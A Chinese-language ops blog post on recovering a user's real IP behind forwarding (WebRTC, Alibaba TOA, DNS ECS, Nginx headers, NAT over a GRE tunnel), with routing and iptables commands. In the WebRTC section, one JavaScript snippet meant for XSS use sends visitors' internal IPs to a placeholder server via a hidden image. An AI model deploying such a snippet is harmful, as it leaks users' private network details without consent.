1. 程式人生 > >代理、轉發等多種場景下,如何獲取使用者真實IP?

代理、轉發等多種場景下,如何獲取使用者真實IP?

1 概述

工作中會經常碰到需要進行轉發之類的需求,比如LVS轉發、NAT轉發,或者在BGP網路架設一個埠轉發來提高小運營商網路玩家的網路體驗等。

BGP進行遊戲埠轉發之前提到過,架構也比較簡單清晰明瞭:

BGP

這種簡單的轉發架構可以在很多地方應用。不過這裡有個源IP識別的問題,A使用者通過B機器的優質網路去訪問伺服器C,這個時候伺服器C認到的使用者IP就不是A而是變成了B伺服器了,也就是說使用者原始IP不見了,只有中轉機器的IP。

其實這個情況在技術上也是可以解決的,類似的獲取原始IP的情況比較多,下面來小列舉一下。

1.1 WebRTC內網識別

公網伺服器可以獲取到使用者辦公網的內網IP,這個有點顛覆了以前的知識,比如用火狐瀏覽器訪問這個地址https://diafygi.github.io/webrtc-ips/就會在頁面上顯示你的VPN或者內網IP,這裡利用的是WebRTC技術。

WebRTC採用STUN等協議棧對網路中的NAT進行穿透。使用者傳送請求至伺服器,STUN伺服器會返回使用者所用系統的IP地址和區域網地址。

在XSS時候想要使用者自動提交內網IP的話就在裡面再加一小段js即可:

var ips = ‘ips:’; getIPs(function(ip) { ips = ips + ‘/’ + ip;    document.write(‘<img src=”http://IP/ip.php?c=’ + ips + ‘” width=0 height=0 border=0 />’); });

1.2 阿里雲高防

上阿里雲高防之後,因為有一層LVS之類的浮動IP對映關係,伺服器獲取到的使用者IP會變為阿里雲的浮動IP,不過他們有提供一個核心級別的toa模組來變相實現獲取使用者IP的需求。
原理比較簡單,在tcp協議裡面多添加了個option欄位,把源ip和埠改為16進位制然後加到裡面一起傳到後端,然後後端就利用toa模組進行自動識別這個option欄位的值改為IP地址即可。

在做轉發時候,用tcpdump抓包的結果是這樣:

tcpdump

裡面有個不被識別的option欄位,用wireshark讀取和正常的tcp包進行對比如下:
原來的正常tcp包:

tcp

經過轉發的tcp包,下面多了8個位元組

tcp

而且這8個位元組用16進位制進行轉換就是源ip地址:

Toa模組對系統的函式進行了修改,但是tcpdump之類的網路層是讀取不到使用者原始IP,需要應用層用getpeername函式進行自動識別,這已經比較有效地滿足了常見的程式來獲取真實IP的需求。

專案地址 https://github.com/alibaba/ali_kernel_rpm

不過對使用者真實IP需求度不高的場景可以忽略。

1.3 DNS解析

DNS的解析也會有個使用者原始IP的需求,比如智慧DNS是根據使用者IP來做區分處理,但是如果經過了個DNS轉發就亂了,上層DNS伺服器只能認到中轉DNS的伺服器IP導致解析混亂。

這個問題肯定是可以解決,因為現實場景中就已經證明一般不存在這個問題,雖然經過多層轉發,智慧DNS還是可以根據使用者網路運營商來智慧處理。

BIND有個ECS功能,前面文章有談到過ECS屬性,在DNS轉發時候可以把源IP加到資料屬性裡面,這樣上層DNS就可以識別到真實使用者IP了,用dig的+clinet=IP來使用ECS請求解析的方式可以進行測試。

實際場景中如果要用到的話,需要多加一層來解決,因為使用者這裡的請求都是普通的DNS請求,不是ECS請求,需要手動轉發一下,比如可以用同事修改的edns的go語言版本來進行轉發:

核心功能就是把使用者來源IP自動加為ECS屬性再轉發到上層DNS,上層DNS如果支援ECS功能就可以根據這個值來做相應處理了。

1.4 Nginx代理

Nginx的反向代理的使用者IP識別問題是最常見的情況,前面文章也曾提到過,有兩種方式來實現。

第一個方式是最簡單常見的,提供個X-Forwarded-For引數給後端程式即可。

proxy_set_header   X-Real-IP        $remote_addr; proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;

不過這個變數是可以偽造的,不能輕信。
另外一個是用Nginx的realip模組,這個比較高階點,可以讓代理在應用層中變為透明的,不需要修改程式碼即可直接正常處理好相關的IP邏輯。

具體情況參考之前的文章。

1.5 NAT轉發

這裡以DNS應用來對NAT轉發這個情況進行詳細闡述下,因為做過BGP轉發的情景應該都碰到過使用者IP不真實的情況。

NAT

模擬場景比較簡單,使用者A、B需要通過舊DNS伺服器D進行轉發到新DNS伺服器C來進行智慧解析,這裡不用ECS的解析方式,用從網路層NAT解決的方式來處理。

1.5.1 常規轉發

首先在上面實現普通的埠轉發,開啟net.ipv4.ip_forward = 1之後配置防火牆:

-A PREROUTING -d 10.0.3.254 -p udp –dport 53 -j DNAT –to-destination 172.16.10.17:53 -A POSTROUTING -d 172.16.10.17  -j SNAT –to 10.0.3.254

然後進行智慧解析測試,通過不同網段使用者進行解析,很明顯就是新DNS這個C機器只可以識別到中轉的D機器,無法識別到使用者A或者B的IP,導致智慧解析失敗:

1.5.2 解決思路
嘗試了另外一個策略,先把D中轉的NAT策略裡面POSTROUTING去掉,重新測試發現有變化了:

POSTROUTING

提示解析失敗。
在舊DNS這個D伺服器上面抓包看下現在的現象

DNS

可以看到的是資料包已經轉發到新dns機器C上面去了,但是沒有回來,我們在C上面抓包可以看到C是直接把資料包返回給了使用者:

現在資料走向圖:

資料

響應的資料是通過黃色線直接返回給使用者,而不是通過紅色線原路返回,這樣好像是一個正常的資料輪迴,使用者也接收到了資料,但是來源IP變了,不是期望的10.0.3.254,而是從新DNS伺服器直接返回,但這個資料會認為是不合法的,所以被使用者端丟棄了,返回報錯資訊,不是期望的來源IP(這裡用wireshark抓包可以可以看到有正常的智慧解析響應包):

NAT原理已經限制在那裡了,雖然有進行多次的NAT修改和iprule的策略路由修改來測試,但是都行不通,成功再次失敗。

1.5.3 成功識別

看起來無法解決的技術難題最終還是解決好了。

之前D機器只做PREROUTING,不做POSTROUTING,已經是個大概模型了,可以正常NAT,也可以正常識別到源IP,使用者也會收到正確的解析迴應,只是因為與TCP期望的返回源IP不對被應用層丟棄而已。

解決的關鍵點D機器到C機器的網路拓撲,因為是返回的不是期望的IP來源,所以如果能讓返回的資料包也經過一下D機器,從D返回給使用者就可以了。

但是C機器返回資訊給使用者會走預設閘道器,不會按照預期的線路返回,如果讓他正常走D回來就必須新增POSTROUTING修改使用者源IP,這裡兩者不可兼得。

不過讓返回的資料包不直接走閘道器的方式還有另外一個實現方式就是架設一個直通的網路隧道,嘗試在C和D之間架設一個上次《VPN雜談》裡面談到的GRE隧道來通訊。

新架構如圖:

架構

相關操作也簡單明瞭。

C機器命令:

modprobe ip_gre ip tunnel add gre1 mode gre remote 10.0.3.254 local 172.16.10.17 ttl 255 ip link set gre1 up ip addr add 192.10.10.2 peer 192.10.10.1 dev gre1

D機器命令:

modprobe ip_gre ip tunnel add gre1 mode gre remote 172.16.10.17 local 10.0.3.254 ttl 255 ip link set gre1 up ip addr add 192.10.10.1 peer 192.10.10.2 dev gre1

在C和D之間有直通的網路隧道之後,D在做PREROUTING轉發的時候轉發到對方的GRE隧道IP:

-A PREROUTING -d 10.0.3.254 -p udp –dport 53 -j DNAT –to-destination 192.10.10.2:53

簡單測試下可以發現使用者的中轉流量已經通過隧道轉過來了,但是響應的資料沒有回去。

通過抓包可以看到沒有回去是因為沒有加這個特殊網路的回去路由,再在C機器上加個策略路由,讓從隧道來的流量再從隧道返回去:

#新增策略路由gre表 echo “101 gre” >> /etc/iproute2/rt_tables #新增具體策略 /sbin/ip route add default via 192.10.10.2 table gre /sbin/ip rule add from 192.10.10.0/24 table gre

路由加好之後效果立竿見影,資料包通過隧道成功原路返回:

資料包

使用者端通過NAT之後成功智慧解析的效果:

NAT

問題解決。

另外,做NAT不但是Linux可以做,Windows也可以做NAT,新增“網路策略和訪問服務“即可,效果也大同小異。

2 結語

經過一番折騰,文章開始說的BGP轉發如果一定要實現保留使用者原始IP的話思路也很清晰了。

IP

在B和C機器建立GRE隧道,然後NAT地址指向C機器的GRE隧道IP就可以解決了,如果是內網環境還可以直接拉網線解決,直接兩個網絡卡對接一條網線或者經過同一個交換機在同一個網段即可。

文章來自微信公眾號:運維軍團